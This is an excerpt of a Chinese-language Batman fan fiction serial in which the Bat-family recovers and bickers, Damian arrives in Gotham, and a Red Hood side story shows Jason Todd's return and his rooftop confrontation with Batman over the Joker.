等到再次睁开眼睛的时候，索菲亚正躺在被用于修复身体的液体中对上了蝙蝠侠那双钢蓝色的眼睛，好消息是这次修复身体的疼痛几乎完全消失，就连折断的骨头也基本复位。失去负面效果加持对人的心情有了显著的提升，索菲亚甚至还能对着蝙蝠侠的视线眨眼睛，然后开始像条鱼一样吐泡泡。 只可惜这些自娱自乐的时间没持续多久，索菲亚就被蝙蝠侠足够坚硬的臂甲从治疗舱里抱了出来，随后被浴巾裹得严严实实在自行跑去浴室清洗过之后继续被发配去了沙发当夜巡前的观众席。 更不巧的是今天只有索菲亚没办法夜巡，五颜六色的小鸟跟在蝙蝠侠的翅膀一样的披风后一只又一只“咻”“咻”“咻”的飞了出去，但好处是阿福在沙发前摆了满满一盘饼干供索菲亚享用，还有一杯温热的牛奶。 夜巡的时候最无聊的就是在蝙蝠洞当后援，更何况索菲亚近乎为零的在电脑援助技术，只能在一旁老实的坐着，在玩手机的空隙抬起头顺手存下大家丢人的画面。 卡珊德拉现在成了夜巡的老手，完全黑色的制服在少女流畅的战斗过程中显得过分酷炫，并且成为新任蝙蝠女的卡珊在芭芭拉以及斯蒂芬妮的帮助下很快掌握了下手的力度，力求让每个被殴打的罪犯身上留下足够铭记一辈子即使死前都耿耿于怀的疼痛，但真的到了司法机关进行检查却只能验出轻伤的完美效果。 斯蒂芬妮在接受了来自蝙蝠侠和前任蝙蝠女现任神谕芭芭拉的教导后，曾经过分狂野不计后果的战斗方式同样发生了改变，而传授这套格斗方法的索菲亚不好意思的低下了头假装无事发生。 提姆的战斗方式则融合了很多刺客联盟的元素，长棍扫过能把哥谭大多数只知道用蛮力的家伙打到两眼发黑，却看不出一丝过分凛冽的杀气，仔细观察后索菲亚又觉得这些招式某些角度和卡珊德拉有些许相似，据说在刺客联盟时提姆从那位堪称格斗巅峰的西瓦女士那学到了很多，而这位格斗大师就是卡珊德拉的妈妈。 有些复杂的人际关系让索菲亚恨不得去唐人街找个摇摇车摇明白。 不是你们刺客联盟这么乱吗？ 看到同伴在哥谭到处踹人屁股的精彩画面，热血沸腾到恨不得跳起来加入其中的索菲亚看着正在微笑的阿福默默的坐了下去，继续喝那杯已经有些放凉了的牛奶。 但夜巡的时间还长，索菲亚开始翻看蝙蝠电脑明面上那些可以让自己查看的文件。 之前的暴乱后林肯很快回了阿卡姆，好消息他依旧没和小丑做邻居，但因为他的摸鱼行为导致了双面人行动的失败，以及拒绝了谜语人先前的邀请，这次当面蛐蛐他的人增加到了两个。 噩梦里频繁出现的小丑依旧选择了那些二选一的电车难题，好在蝙蝠侠并不是孤身一人，虽然有人受伤但一切并非不可挽回。 刺客联盟没什么太大消息，不管是杰森和达米安似乎还呆在中东那座被沙漠环绕的城池之中，看到蝙蝠侠的批注索菲亚就意识到男人意识到了曾经的罗宾已经死而复生的现实，大概率是提姆将刺客联盟的情报同步了过去。 而关于那个对于蝙蝠侠来讲出现的过分突然的有着血缘关系连接的达米安旁边，一向无所不能的蝙蝠侠留下的只有一片空白。 毕竟就算是蝙蝠侠也不能突然接受自己多了个儿子的事实，这种过分炸裂的感受上一个的体验者还是发现自己和卢瑟有个十几岁的大儿子吓得尖叫着逃走完全忘记自己正在正联开会的超人。 所以，蝙蝠侠会尖叫吗？还是说蝙蝠侠尖叫的时候发出的是人耳难以捕捉的超声波，所以大家都没能听到呢？ 再往后，就是关于审判庭后续的资料，那些猫头鹰大多被已经打败后关押了起来，虽然听起来穷凶极恶，但真正像阿尔伯特一样强大的家伙终究还是少数。 而阿尔伯特—— 根据蝙蝠侠的文件显示，他死了。 被发现的时候他的尸体距离能够快速补充琥珀金的拉撒路之池只有不到几厘米的距离，索菲亚清楚自己能靠那点琥珀金走出来，那他一定能支撑到进入拉撒路之中，但是这个男人为什么放弃了维持了几百年的生命，恐怕只有他自己知道。 但对于索菲亚来讲，这并不重要，只是死了一个人，而这个人索菲亚恰好认识罢了。 索菲亚对着屏幕走神，脑子里却什么都没想，只是下意识地放空了自己，直到身后的声音因为夜巡结束而变得嘈杂，大家在蝙蝠洞里走来走去，但没过多久又安静了下来。 直到索菲亚熟悉的呼吸声在身后响起，随后似乎有谁牵起了自己的手。 少女的视野里，还没摘下黑色多米诺面具的红罗宾蹲在索菲亚身前，曾经稚嫩的脸颊消瘦了许多展现出由父母遗传而来的优秀的骨相，索菲亚的手指抚过少年俊秀的眉眼，与蝙蝠侠相比颜色略浅的像是澄澈泉水一样的蓝眼睛里含着笑意。 接下来顺着高耸的鼻梁，索菲亚的手停在了饱满的嘴唇上，少女还记得那柔软的触感，那个雨夜里雨水顺着嘴唇滴下的画面仍旧停留在索菲亚的记忆里。 而最后，手指停在了少年的颈侧，还在跳动着的脉搏让索菲亚内心忍不住的欢喜，两双眼睛对上之时索菲亚能感受到熊熊燃烧的情愫，可最后两个人只是紧紧的抱在了一起。 ———————— “所以我们能出声了吗？”来自斯蒂芬妮的声音飘了过来。 “不……”卡珊德拉欲言又止，随后继续保持了沉默。 第112章 索菲亚一直在好奇布鲁斯要怎么面对死而复生的杰森和突然冒出来的小鼻噶达米安, 毕竟刺客联盟可是出了名的不会养孩子，只要被拉尔斯接手人均能获得一份足够进入阿卡姆资深反派聚会的病历。 但是转念一想那时蝙蝠洞会变得无比拥挤，而阿福想要喂饱一群夜巡回来后嗷嗷待哺的小孩得把韦恩庄园的厨房升级成大锅饭, 光是热门甜点曲奇饼干就得一次烤上好几炉，不久之后韦恩庄园出产的小甜饼就能摆脱家庭作坊的标签，一跃成为布鲁斯韦恩吃了都说好的超人气点心。 勉强恢复生活自理能力的索菲亚舒舒服服的在韦恩家的客房住了一周, 享受饭来张口衣来伸手的米虫生活, 而提姆则在学校、家、蝙蝠洞这三个点每天风雨无阻的来来回回，偶尔在阿福的眼皮子底下偷渡一些不被允许出现在病人面前的违禁品，比如说涂了双倍辣酱的墨西哥卷饼。 这个家里的同龄人，提姆和斯蒂芬妮早已恢复了学校生活, 每天在处理夜间工作的间隙解决学校课业所带来的小烦恼, 卡珊德拉虽然没去没去学校但也在庄园里接受家庭教师的一对一教育, 只有索菲亚逃脱了在学习的海洋里淹死的命运，每天像只未开化的猴子一样在庄园里上蹿下跳。 阿福拿着鸡毛掸子对着吊灯上的索菲亚沉默了几秒，随后将手上的清洁工具递给了索菲亚。 “那么清理吊灯的工作就拜托您了索菲亚小姐。” 下意识接过鸡毛掸子的索菲亚来不及思考就顺手收拾了起来, 好在阿福平日里一直保持一个相对频繁的打扫频率, 实际上过了几分钟索菲亚也没打扫出什么东西来。 “您让我想起了迪克少爷, 他刚刚到庄园的时候总是通过这样的形式来表现自己足够灵活的身手，没过多久他就把舞台从庄园扩大到整个哥谭。” 索菲亚看着正在注视着自己的阿福, 轻手轻脚的从还在吊灯上跳了下来。 “那周末要叫迪克回来吃饭吗？我可以帮忙。” 随后暂时没办法开张的猎魔人跟在蝙蝠洞真正的食物链顶端身后, 开始学着处理那些从世界各地运来的高级食材, 只不过比起调配腌料进行腌制这类的工作, 索菲亚担任的都是些不需要脑子的力气活，比如尝试给足够新鲜的羊排骨顺着肌理再次进行切分, 直到变成方便放进烤箱的大小为止。 厨房用的砍刀劈砍在骨肉上的声音无比沉重, 让索菲亚误以为自己还在审判庭加班, 但没有人在克服对于血肉的恐惧后能拒绝这种合法分尸的快乐。 中间穿着睡袍睡眼惺忪的布鲁斯听到声音过来看了一次，钢蓝色的眼睛注视着索菲亚劈砍骨头的身影驻足了片刻，端着手里盛满了牛奶的玻璃杯端着蝙蝠侠的架子过分细致的绕了一圈仿佛有人在厨房里设下了五分钟后就会爆炸的炸弹，随后将那杯足够新鲜但有着腥味的牛奶看似无意的落在了索菲亚身后的料理台上。 索菲亚在阿福的指示下将处理好的羊排塞进冰箱后一边用印着棕色小熊的围裙擦手一边从厨房走了出来，果然看到AKA蝙蝠侠正在阿福不赞成的眼神下喝第二杯牛奶。 索菲亚干脆斜靠在墙上看蝙蝠侠怎么费尽心机试图支走阿福，从谜语人聊到稻草人，又从韦恩最近的新项目到慈善基金的账目问题，只可惜话题几乎绕了美国一圈也没能转移走管家对于牛奶的关注，最后只能在索菲亚这个小孩面前把纯白色的液体灌了下去，装作无事发生的样子逃进了蝙蝠洞。 于是在周末索菲亚确实等到期待已久的烤羊排，按照贴在厨房里的菜单计划，周六的中午除了小羊排以外还有芝士焗龙虾这道布鲁斯韦恩吃了都直点头的经典料理，以及按照计划这周六索菲亚就要搬回自己那个小公寓住，说是践行宴也不算有错。 索菲亚难得作为猫头鹰回归，拆散了和蝙蝠侠绑定很久的罗宾，两个人兴高采烈地满东区去踹那些小贼的屁股，忙活了一整夜睡一个回笼觉就能等到一顿足够美味的大餐作为犒劳。 索菲亚在餐桌上忙的左右开弓提起了平日里绝对不可能出现的热情，从前菜到甜点就没有抬起过头只是一味的闷头苦吃，只是提姆在来之前在家里吃了早饭的基础上被爸妈投喂了不少甜点，以至于少年的那份羊排只吃下了一半就被索菲亚顺手接过一起啃了个干净。 不过搬回去还是有好处的，比如可以疯狂摄入高热量垃圾食品，也可以和斯蒂芬妮在沙发上开电视随即找个频道放些完全没听过的电影然后蛐蛐全世界，再比如那些在蝙蝠侠老巢完全不好意思看的AO3经典著作终于可以重出江湖。 复活吧我的CP！ 最纯饿的时候论坛上夜翼x红罗宾的cp索菲亚都能浅浅吃上几口，而超级小子x红罗宾这个tag下索菲亚更是常客，只是吃的都是纯cb向。 小男孩的友谊真好吃啊。 以及虽然拒绝嬷蝙蝠侠，但超蝙的CP索菲亚也能吃上几口，而在发现芭芭拉和斯蒂芬妮每次和哥谭黑漆漆吵完架后的解压方式是写些带着mob标签的带颜色的文章后，嬷蝙蝠侠成了几个女孩有效发泄的最佳方式，卡珊虽然没到能够流畅输出颜色文学的地步，但还是选择同流合污。 今天夜巡被蝙蝠侠说冲动，不出三天稻草人x蝙蝠侠相关的药物、精神控制、强制的短文就能迅速的更新到那个文档里，主打一个有仇当场报。 不过半个月，这个文档的字数就已经到了一个足够惊人的数字，如果要类比的话是迪克的工资卡上永远不会出现的数字，就连索菲亚也被迫去学校接受知识的毒打也没阻止大家通过搞颜色泄愤的冲动。 索菲亚先前还会担心被蝙蝠侠看到会不会尴尬，刚被痛骂一顿的斯蒂芬妮在一旁用手捶沙发从牙缝里挤出话来。 “要的就是让他看到，有本事他在蝙蝠洞当众念出来。” 但事情的发展开始脱轨的开端，是索菲亚在写到小丑因为蝙蝠侠只把超人当作宿敌而深深破防即将开启修罗场的剧情时，文档里多出了一段文风和几个女孩都对不上的文字。 在足够清新的文风里那种禁忌的压抑的对于爱的极端渴求让索菲亚看了直害怕，但又几次被吸引咬牙吃下了夜翼和蝙蝠侠的亲情向同人，文章里罗宾被蝙蝠侠收养，在导师看似严厉实则包容的爱中长大，可蝙蝠侠的一切很早就献祭给了哥谭这座城市，即使是夜翼也只能找到分到其中最微不足道的一簇，但青年知道这已经是这位黑暗骑士能付出的全部。故事的最后夜翼在蝙蝠侠的注视下，和爱人共同携手踏入婚姻的殿堂。 迪克你在做什么啊，终于是在上班迟到被扣工资，通宵夜巡被反派调戏，约会被甩的循环里被逼疯了吗？ 你知道大家都能看到这个文档的对吧。 你的日子不过了吗？ 虽然被生活的重担逼疯的不止有夜翼一个人，但好在红罗宾提姆的情绪总是过分稳定，即使在和蝙蝠侠相处的早期少年被迫承担了很多，提姆也从来没有被这些竖在导师周边的尖刺所吓倒，直到那些刺软了下来，少年终于终于触及到了那个足够温和包容的蝙蝠侠。 然后索菲亚就在文档里看到了非常严谨的一篇蝙蝠侠单人向战损短打，文章里蝙蝠侠和敌人战斗后流浪在外身负重伤，且因为一些原因无法回到哥谭，而此时小助手红罗宾表现出了惊人的冷静，竭尽所能地向导师提供援助，但字里行间又透露出对导师的担忧和关心，而故事的最后红罗宾获得了蝙蝠侠的肯定和鼓励。 索菲亚看了看上了高中依旧坐在自己身旁的提姆，少年穿着深红色卫衣显得脸颊格外的白净，看似全神贯注的趴在桌子上听课，但手上转速颇高的笔暴露了提姆正在走神的事实。 一想到看着这么正经的提姆也会自己动手写同人文索菲亚就压不住嘴角。 不过这样的平静的生活很快就被打破了，甚至比索菲亚预想的还要早一些。 一个平常的夜晚，刺客联盟，蝙蝠侠，五颜六色的小鸟，港口，这些关键词聚在了一起，索菲亚好不容易找到空位探出脑袋就看到了在深绿色礼服裙外披了件长风衣的塔利亚，以及在她手边对着足够壮硕的蝙蝠侠努力仰起头打探几乎把鼻孔伸到天上的小鼻噶。 终于突破一米二大关的达米安闷哼一声，随后过分符合学龄儿童的听起来还没断奶的声音在格外空旷的港口上响起。 “父亲，你比我想象的还要矮些。” 索菲亚清晰地听到了自己身旁的红罗宾倒吸一口凉气，而斯蒂芬妮的脑袋正压在卡珊的脑袋上探长了脖子想去看清蝙蝠侠的小孩到底长什么样。 而塔利亚向旧情人蝙蝠侠交代好了达米安的一切有关事项便选择带着手下离开，而本该出现在这里的杰森因为过分出众的魔法天赋现在正在喜马拉雅山上的大种姓那里求学，以后有望成为一名优秀的近战法师。 “你的罗宾在哪？我要向她证明我才是最合适的人选，弱者不配留在你的身边。” 达米安扫视一圈，很快锁定了完全暴露在大家视野里的一头金发的罗宾，而迟疑的斯蒂芬妮用手指迷茫的指了指自己。 “我吗？” 神出鬼没的蟑螂系刺客冲了上去，斯蒂芬妮怪叫一声拎着长棍躲过了攻击随后用钩爪枪荡到了高处。 躲过一劫的红罗宾还没来得及松气就感受到格外刺眼的视线，平静的从身后拿出那根可以自由伸缩的长棍塞进男孩手里。 “拿着，这根棍子谁当罗宾谁拿。” 兜帽下男孩的脸上满是怀疑，但念在红罗宾在刺客联盟还算靠谱的份上勉强接过了那根棍子，还没来得及转身就听到了来自蝙蝠侠格外严肃的语气。 “达米安我们需要谈谈。” 男孩回过头看着面具下完全绷起来的脸，清了清嗓子。 “父亲，您打算什么时候征服这座城市？我尊重您的意志，但目前这样的方式还是太慢了。” “我从没想过要征服这座城市。” 索菲亚完全没空听这对父子争论这些过分严肃的话题，而是拉着红罗宾的手一起逃离了目前过分压抑的现场，还没飞出多远两个人都没忍住超级大声的笑了出来。 在天台上索菲亚看着脸颊变得微红的提姆，再次牵上了少年的手，而提姆则微笑着松开了相握的手，随后被战术手套包裹着的指尖从掌根滑下，穿过指缝，紧紧的扣住了索菲亚同样带着手套的手。 手指试着活动却被握的更紧，在少年的镜子一样的眼睛里，索菲亚这才意识到原来自己脸上也挂着笑。 通讯频道里传来了蝙蝠侠的声音，索菲亚好不容易移开了视线。 “B在叫我们。” “那我们一起去。”提姆的声音格外的清晰。 一阵带着凉意的夜风吹过，索菲亚甩了甩头，抛出了钩爪枪向目的地的方向前进，就和过去每个夜巡的夜晚一样，而红罗宾不远不近的跟在猫头鹰的身后，直到两人一起消失在夜色之中。 ———————————————————— 正文完 第113章 红头罩创业记（上） 杰森.陶德觉得哥谭最近有点邪门。 在红头罩这个名号诞生以前, 杰森的故事算不上有趣，一个经历了亲爹坐牢养母去世的悲惨童年的，从犯罪巷出来的毛头小子某个夜里遇上了整个哥谭没人能拒绝的靓到爆炸的大美人蝙蝠车, 并开始尝试撬走这位哥谭大明星的轮胎。 在偷到第四个轮胎时杰森碰到了蝙蝠侠，于是历代罗宾中那个最冲动出身最差最容易走上岔路的罗宾诞生了。 虽然没人嘴上这么说，但杰森心里都清楚, 不管是和大哥迪克之间那些不愉快的小摩擦, 还是和那些家庭成员生活在一起时随时会爆炸的那些自己身上的小毛病，都在无声的向全世界宣布，杰森陶德是最差的罗宾。 更加糟糕的是，随着青春期和蝙蝠侠如同哥谭的阴雨一般连绵不断到来的, 并非是长大成人后选择单飞的勇气, 而是一场死亡, 一场因为罗宾的愚蠢导致的不该出现的死亡。 来自生母的消息轻而易举的就把一个身处青春期迫切需要认可的男孩骗去了千里迢迢的埃塞俄比亚。 在那个废弃的仓库里杰森确实见到了那个十几年前把自己当作烫手山芋一样生下来就丢给凯瑟琳抚养的女人。 她疲惫沧桑带着一定的阅历，而罗宾这个愚蠢的渴望爱的小孩傻乎乎的忽视了女人眼神中的欺骗和背叛，直到小丑到来。 撬棍, 疼痛, 骨折, 爆炸，在蝙蝠侠察觉到问题赶来拯救自己叛逆又不聪明的小助手之前, 率先迎来的是爆炸后开始熊熊燃烧的废墟, 以及变成一只死罗宾的杰森陶德。 这么想想还挺吃亏, 即使是希拉海伍德丢下了自己两次, 杰森还是不希望这个因为自己被牵扯进小丑阴谋的女人就此丧命，但这个女人还是一起死在了埃塞俄比亚, 和自己完全不熟悉也没那么爱的儿子一起。 没过多久, 就被迫死而复生, 光着身子从拉撒路之池中爬了出来。 那破池子绿的像是把全哥谭的难吃蔬菜都被拉来给阿福做成的超大号蔬菜汁，就连蝙蝠侠看了都得连夜开着蝙蝠车逃走。 不过杰森显然忘记带上自己的脑子，阿巴阿巴歪比巴布了几个月，终于在运输机上恢复了自己的意识。 那个时机非常的微妙，那时杰森身旁坐着拿手机摸鱼的猫头鹰杀手和其他杀手，而手机上播放着的死讯正是属于自己许久不见就莫名其妙死掉的爹——领养的。 杰森悲痛了好几天，但为了展现和临时同事一样专业的刺客素质，表现出了一种完全无关的对外态度。 好在这样的情绪没持续太久，不知道从哪蹦出来的红黑配色的罗宾三号机莫名其妙找到了蝙蝠侠的消息，随后和猫头鹰一起携手跑回了哥谭，只留下杰森还在这个痛苦的地方打黑工。 再之后？ 据说拉尔斯死了，塔利亚忙于收拢手上的权力，将攻击性过于旺盛的达米安送到了蝙蝠侠身边继承祖传的罗宾位置，而最应该回哥谭却恰好被落下的杰森则被用控制情绪的理由送到了喜马拉雅山上的大种姓进行修行。 好消息，在情绪控制上杰森学到了好多，并且因为出色的资质即将开始学习更加深入的有关魔法的内容。 坏消息，魔法少男杰森上课不到一个月整个大种姓就遭遇了袭击，经过一番斗争，整个流派只剩下了自己一个人。 塔利亚从杰森这里得知了大种姓的遭遇后沉默了许久，最后同意离巢的罗宾鸟飞回自己的巢穴，不管杰森接下来是想要复仇还是建立自己的地下王国，这位距离权力只有一步之遥的女人提出的唯一要求只有让杰森在必要的时候帮助达米安。 杰森没拒绝，随后从刺客联盟的总部离开，一路辗转到了哥谭。 这里就可以回到正题了，从杰森踩着作战靴的脚踏入哥谭的土地上的一瞬间，世界变得邪门了起来。 通过非法途径把蛇头打的满地乱爬顺利从哥谭湾进入哥谭的杰森闻着熟悉的带着血腥味和硝烟气息的空气，下意识深吸了一大口，空气加湿器一样绵密的雨丝将哥谭的游子一下子拉回了故乡。 杰森知道在自己不在的这段时间发生了很多，在哥谭变得非常有名的从反派转职到猎魔人又到义警的猫头鹰，突然出道又消失随后又复出的搅局者，而罗宾更换的速度更是快的吓人。 替代品（提姆德雷克）的在职时间不到三个月，据刺客联盟的情报网显示，这个男孩被父母撞见了身份后选择辞职让蝙蝠侠失去罗宾后只能孤零零的夜巡。 之后便是非常罕见的女罗宾，但女罗宾的任期还没到圣诞节，就被身高一米二的新罗宾给取代了。 从身高和发型来看，杰森认得出来这一定是那个在刺客联盟被养大的恶魔崽子。 盘算着这些或熟悉或陌生的成员，杰森在内心再次复盘了自己的计划。 蝙蝠侠的不杀原则算个锤子，小丑杀了自己之后依旧靠着精神病的鉴定结果在哥谭肆意妄为，无论犯下多大的错最多也就是被打进ICU养上几个月就又可以在哥谭大舞台上发光发热。 而那些受害者就这么轻易的被摆上了电车轨道的两头，成了测试人性的可笑筹码，而他们的人生随后也彻底被毁灭。 所以杰森能想到最好的办法就是以暴制暴，对付小丑这种罪恶滔天到如果老天有眼都得连续不断用雷劈火烤八十年的人渣，最好的办法就是虐杀。 他带给了那些无辜者多少痛苦和恐惧，就应该被加倍偿还。 当然插个题外话，杰森现在可以完全否认天堂和地狱的存在了，因为在自己变成死罗宾的时候既没遇到接自己上天堂的天使，也没遇到拉自己下地狱的恶魔。 那么现在计划的第一步，就是搞点薯条。 就算自己有再宏大的计划，不管是杀了黑面具自己当哥谭地下皇帝还是在小丑屁股里塞二踢脚送他上天，第一步都得吃饱吧。 又不是所有人都和刺客联盟那群核动力牛马一样，能够忍受食堂或高或低的饮食水平。 运气的好的时候还有炖菜沙威玛烤羊腿吃，倒霉一点就只能吃那又干又硬的大饼子，别说硌掉牙了，就算是蝙蝠侠被饼子抡了两下都得被开瓢。 想到这里青年满意的点了点头，随后进了一家快餐店。 “两个巨无霸汉堡套餐加双倍酸黄瓜番茄芝士，饮料要超大杯可乐。” 点单的时候一切都好，但到了要结账的时候青年想起来自己兜里不比夜翼的口袋富裕，就在未来的黑老大彻底折戟沉沙，将自己珍贵的第一次零元购献给五十刀不到的快餐时，自己那张提前准备好用来接收黑钱的银行卡上突然收到了一笔转账。 金额不多不少刚好五十美刀。 迷茫的刷了卡提着纸袋回临时安全屋的红头罩想破脑袋也弄不明白到底谁会无聊到给这张来自阿根廷银行卡转账，只能先将这事抛到脑后。 随后出门将那些躲在巷子里老鼠一样偷偷摸摸卖白粉的毒虫全都痛殴一顿，并顺手缴获非法交易过程中的赃款，至于那让人完全在欲望的海洋里溺死的东西，全都被杰森顺手用化学手段处理了。 经过一夜的辛勤劳动，杰森搞定了一整套装备，包括那个足够鲜艳的红色的头罩，为了出其不意青年特地在内部增加了炸弹，方便在被困住的时候用以脱困，以及给对手一点小小的惊喜。 一切准备就绪，红头罩带着双枪闯入了黑面具手下的几个据点，并自愿加班将那些可以作为威胁黑面具筹码的家伙的脑袋据下后整齐的放在自己带来的行李袋里。 非常贴心的红头罩快递亲切的将这些无主的脑袋送到了收件人黑面具手上，并亲切地问候对方的身体健康和家庭情况，特别针对黑面具一向忙碌的工作进行了慰问。 暂时得到满意结果的杰森早就饿的前胸贴后背，辛勤劳作了一夜的红头罩这次换了家在街头卖墨西哥卷饼的餐车，随后掏了二十块给自己买了两个加了辣酱的，就在等待的间隙，第二条转账信息到了。 这次的金额正好就是自己刚刚花出去的二十块。 之后的一整个月，哥谭新任反派，□□老大，未来的地下皇帝红头罩陷入了无限的水逆。 在殴打企鹅人想要瓜分一杯羹的时候，不知道从哪里跑出来的穿着恐龙服装跳钢管舞的家伙突然脱下了繁琐的外衣变成了夜翼，挥舞着带电的卡里棍招呼了上来。 在红头罩在黑面具的爱车上坐在黑面具的大腿上把枪几乎塞进对方嘴里，准备随时和满车面包人战斗的时候，黑面具从车里的天窗被人钓了出去，随后向红头罩挥手的搅局者俏皮的吐了吐舌头，而一身黑的蝙蝠女在将面包人全都打趴下也加入了殴打红头罩的队伍中。 以及在和出狱的双面人谈判如何瓜分刚刚进局子的黑面具的地盘时，红黑配色的红罗宾突然闯了进来，随后看着浑身战损几乎衣不蔽体的红头罩顺手拍了张照片。 那个混蛋甚至没有关闪光灯！ 而最过分的莫过于，刚刚从局子里出来的黑面具好不容易把小丑从阿卡姆弄了出来，而自己趁这个机会掳走了小丑，并终于有机会在众目睽睽之下杀了小丑向蝙蝠侠示威时，在那个天台上，蝙蝠侠站在自己的对立面，而自己却罕见地和小丑站在了一起。 杰森不想这样的，他想过无数次和蝙蝠侠再次见面的画面，但无论如何都不应该包括成为蝙蝠侠的敌人。 青年被压抑已久的愤怒如火山一样喷发，在哥谭有些寒冷的夜里，红头罩将那些苦涩的情绪全都咽下，摆出一副只想和蝙蝠侠作对的反派模样。 “老蝙蝠，这就是你的正义吗？看着那些被小丑迫害的人去死，而留着这个始作俑者，等着那个还没人擦屁股纸有用的法律生效来审判他？” “那这么说你也不应该来追我，我也是个疯子，不比小丑理智到哪里去，把我交给法律就好了，说不定我们还能做邻居呢？ “哦伟大的蝙蝠侠，我就是知道了你不杀人所以才从真的会杀了罪犯的州逃过来的，你一定能理解我吧。哦对，我还有个正义感爆棚的爸爸，他是个快走不动路的老头了，却还非要玩扮演警察的游戏，成天不把自己的身体当回事，教会真该封他个圣人做。” 枪口紧紧的压在那个癫狂的丑角的太阳穴上，而红头罩一步一步走到了天台的边缘。 “你的人生才刚刚开始，别为了这种家伙毁了自己。” 蝙蝠侠一步一步的在天台上走进了红头罩，复杂的眼神贪婪的看着青年的身体，他长得太快了，好像一眨眼的功夫就从一米五的小孩长成了现在这样强壮的样子。 健硕的胸肌将制服上那只红色的蝙蝠图案完全撑起，而棕色夹克都无法掩盖的肌肉都展现了自己曾经缺席已久的孩子的成长。 “我说了，要不然杀了我，要不然他死。”红头罩再次拿枪指了指自己又指了指小丑。 而蝙蝠侠停在了原地。 “不……”男人的语气低沉的可怕，伴随着小丑尖锐的如同锥子一样的笑声“杰森，不要越过那条线。” 被识破了身份的红头罩冷笑一声，终于摘下了那个头罩，露出那种和童年时相比更加成熟的脸庞，而蝙蝠侠则过分冷静没有表现出一丝杰森想象之中的惊讶。 “布鲁斯，我原谅你没有救我，可是为什么？” “到底为什么？！为什么他还活着！” 小丑似乎说了些让人气愤的白烂话，杰森完全顾不上那个该被绞肉机里的混蛋说了些什么，将自己憋在内心的愤怒全都宣泄了出来。 “如果换做是你，被他打得遍体鳞伤，要是他从我身边夺走了你，我会不惜一切代价把这个人渣揪出来送他下地狱……” 只可惜现场此时响起来存在感过强的“咔哧”的咀嚼音，那声音越来越大，甚至有盖过红头罩日思夜想多日精心准备就为了在这个时刻大放异彩的长篇大论的苗头。 红头罩停下了说话，顺着声音的方向看去，轻而易举地看到了蹲在天台侧边从薯片袋子里抓薯片吃，完全将此时的矛盾现场转化为抓马电视剧的紫色的搅局者。 “滚出去女孩，这里不是你能参与的地方，你以为你在看什么？免费的电视剧拍摄现场吗？” 搅局者探出了头大喊道。 “不止有我。” 随后一身漆黑的杰森完全不熟悉的蝙蝠女也向几人的方向招了招手。 “准确来说大家都在。” 搅局者指了指耳边方便联系的耳机。 杰森的大脑顷刻间一片空白，随后潮水一样的愤怒将青年彻底淹没。 是谁说的生活没有那么多观众的！是谁！ 看准时机的蝙蝠侠扔出了蝙蝠镖正好击中红头罩拿枪的手，而混乱到不知所措的杰森顺势在小丑的屁股上踹了一脚，拎着红色的头罩狼狈的逃走了。 离开前，杰森似乎还能听到大家的嘲笑声。 可恶，到底是谁出卖了红头罩！ 第114章 红头罩创业记（中） 在蝙蝠侠以及一群小鸟的注视下逃之夭夭实在超出红头罩的想象, 在设想里自己应该和那位导师有关哥谭的犯罪问题进行深刻的探讨，比如为什么精神疾病的评判标准，为什么要放任那些家伙一次次通过这份轻飘飘的纸张来玩弄法律, 任何人都可以在犯错后有改正的机会除了小丑。 蝙蝠侠当然不会听了这些话立马赞同自己早已沦为黑羊的学徒的观点，接下来要不然是自己杀了小丑两人彻底决裂，红头罩创业初始就喜提阿卡姆单人间成为哥谭冉冉升起的一颗犯罪新星, 要不然自己没能杀了小丑道心破损再度离开。 杰森在这些像是从一开始就选错了分支的文字游戏里看了半天, 始终没办法在其中找到一个哪怕HE的苗头。 除非时间线如果能够向前倒退，退回到杰森做出那个足以改变自己和蝙蝠侠未来的错误前，罗宾没有被谎言欺骗离开哥谭。 或者退回到那个下着鹅毛大雪的仓库里蝙蝠侠能够及时赶到，杰森陶德没有死掉, 一切或许还有通向烂俗HE结局的可能。 但现在再说这些白日做梦一样的话, 显然有些太晚了。 红色的头罩将外界那些嘈杂的声音几乎全都隔绝, 杰森抬起头透过头盔看向天空，总觉得这样的氛围下场雨才是最适合不过的，只可惜恨不得每天都下雨的哥谭偏偏今夜一片晴天。 拎着装备从窗户钻了过去, 在进入安全屋的那一刻杰森就把那个头罩扔在了地上, 将自己砸在了那张铁架床上, 床单几乎被连绵不断的雨丝浸透，脸埋在枕头上的时候还能闻到那种潮湿的隐隐的发霉的气味。 杰森早就想好了重逢时要说的话, 在埃塞俄比亚被小丑那个杂种几乎打断身上每一根骨头的时候, 他在想等会见到布鲁斯一定不能说疼, 这样太软弱了, 他要大笑然后对蝙蝠侠说没关系，这不算什么。 而在炸弹爆炸的一瞬间, 他却只想在那个宽大的怀抱里放声大哭, 被说丢人也无所谓, 被说像没长大的孩子也无所谓，只要让杰森陶德能够回到布鲁斯韦恩身边，哪怕被所有人嘲笑都没关系。 等到从池子里爬出来之后在刺客联盟里成为双手沾血的刽子手时，杰森时常也会恍惚，布鲁斯会生气吗？因为这个犯罪巷出来的罗宾真的像是他入狱后死亡的罪犯爹一样，也成了罪犯。 可那些被选中的目标从来不是良善之人，就像是达米安那些一次性的老师一样，大多数都是些能够逃脱法律制裁的人渣。这些人死掉的时候或许还会有不忍，可每每看到那些被他们夺走一切的受害者时，杰森对这些家伙便生不起哪怕一丝的同情。 在每个扭曲的梦里自己都在和蝙蝠侠重复着相同的内容，辩论，争吵，战斗，受伤，杰森比任何人知道布鲁斯的伟大，也知道这个人不可能会为了自己真的越过那条线，可是愤怒依旧从少年的心口燃烧，直到烈火完全焚尽杰森的理智。 你不该这么做。 杰森脑中那个蝙蝠侠的影子这么说道。 可是凭什么？你为什么还是那么理智，那么冷静？死去的难道只是一个无关紧要的人吗？还是说蝙蝠侠早就期待着自己低劣愚蠢的小助手的离开，而小丑正好给了这个机会？ 那只蠢罗宾才死去多久？一年？两年？不，半年！蝙蝠侠的身边就有了新的助手，更好更理智更聪明的小罗宾鸟，而那只死掉的罗宾呢？失去了用处就可以被丢掉了吗？ 蝙蝠侠没有得到任何教训，他没意识到把任何一个孩子牵扯进那些自我陶醉的义警工作本身就是一种错误，他如果不杀了小丑，任何人进入这个泥潭都只有一条通往死亡的不归路，不管这个人是他妈的杰森陶德还是侥幸捡回一条命但彻底瘫痪的芭芭拉戈登。 还是说你才是那个真正沉醉在和小丑游戏的疯子？所以才要这么迫不及待地献祭自己？ 